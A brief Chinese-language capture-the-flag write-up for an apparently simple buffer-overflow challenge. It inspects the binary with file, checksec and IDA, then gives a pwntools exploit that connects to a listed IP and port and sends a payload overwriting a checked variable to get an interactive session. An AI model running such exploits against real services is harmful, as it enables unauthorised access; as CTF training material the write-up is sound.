拿到文件先file看一下是什么类型,然后checksec一下查看保护机制。
发现是64位程序,开启了NX(Non-Executable Memory,不可执行内存。了解 Linux 的文件有三种属性,即 rwx,而 NX 即没有 x 属性,意味着栈中数据没有执行权限。
尝试运行一下
没啥用,丢idapro里面
按两次空格,转到汇编界面
gdb调试,b main发现程序没有main函数
IDApro查看
发现有一个判定
dword_60106C == 1853186401
编写exp
from pwn import*
p = remote('111.200.241.244',52090)
111.200.241.244:52090
payload = 'aaaa' + p64(1853186401)
p.recvuntil("lets get helloworld for bof")
p.send(payload)
p.interactive()